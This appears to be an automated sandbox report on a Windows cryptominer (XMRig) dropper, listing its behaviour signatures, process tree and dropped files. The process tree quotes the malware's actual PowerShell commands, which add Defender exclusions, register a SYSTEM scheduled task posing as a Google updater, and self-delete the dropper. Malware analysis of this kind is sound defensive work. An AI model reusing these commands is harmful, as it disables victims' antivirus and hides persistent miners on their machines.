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Analysis

  • max time kernel
    1800s
  • max time network
    1800s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/07/2024, 16:18

General

  • Target
    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
  • Size 2.0MB
  • Sample240722-trzfaaxall
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 28 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 29 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3572
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3816
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2700
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:4576
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2920
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:4620
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            PID:3392
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:220
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:4188
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:4304
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:3316
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:3760
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3308
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3084

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 1af8bc4aa2a76dd58e2c7eb0a0dc169a6b94f8c865852502cceb54a84bbaf57b
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_iw0ripth.5dv.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iw0ripth.5dv.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                memory/220-72-0x000002B2CB6C0000-0x000002B2CB6DC000-memory.dmp

                memory/220-71-0x000002B2B0CB0000-0x000002B2B0CBA000-memory.dmp

                memory/220-70-0x000002B2C9110000-0x000002B2C91C5000-memory.dmp

                memory/220-69-0x000002B2B0C90000-0x000002B2B0CAC000-memory.dmp

                memory/3084-81-0x00007FF6495A0000-0x00007FF6497B1000-memory.dmp

                memory/3084-50-0x00007FF6495A0000-0x00007FF6497B1000-memory.dmp

                memory/3308-109-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-117-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-139-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-137-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-135-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-133-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-131-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-129-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-127-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-125-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-123-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-121-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-119-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-82-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-83-0x000001A60FBD0000-0x000001A60FBF0000-memory.dmp

                memory/3308-115-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-85-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-113-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-87-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-111-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-89-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-91-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-93-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-95-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-97-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-99-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-101-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-103-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-105-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3308-107-0x00007FF690030000-0x00007FF690824000-memory.dmp

                memory/3372-31-0x00007FF865B70000-0x00007FF866631000-memory.dmp

                memory/3372-18-0x00007FF865B70000-0x00007FF866631000-memory.dmp

                memory/3372-35-0x00007FF865B70000-0x00007FF866631000-memory.dmp

                memory/3372-30-0x00007FF865B70000-0x00007FF866631000-memory.dmp

                memory/3372-32-0x00007FF865B70000-0x00007FF866631000-memory.dmp

                memory/3372-29-0x00007FF865B70000-0x00007FF866631000-memory.dmp

                memory/3528-12-0x00007FF865B70000-0x00007FF866631000-memory.dmp

                memory/3528-16-0x00007FF865B70000-0x00007FF866631000-memory.dmp

                memory/3528-13-0x00007FF865B70000-0x00007FF866631000-memory.dmp

                memory/3528-11-0x000002039F520000-0x000002039F542000-memory.dmp

                memory/3528-1-0x00007FF865B73000-0x00007FF865B75000-memory.dmp

                memory/3816-0-0x00007FF6634A0000-0x00007FF6636B1000-memory.dmp

                memory/3816-37-0x00007FF6634A0000-0x00007FF6636B1000-memory.dmp

                memory/3816-33-0x00007FF6634A0000-0x00007FF6636B1000-memory.dmp

                memory/4188-88-0x00007FF70A8F0000-0x00007FF70A906000-memory.dmp

                memory/4188-84-0x00007FF70A8F0000-0x00007FF70A906000-memory.dmp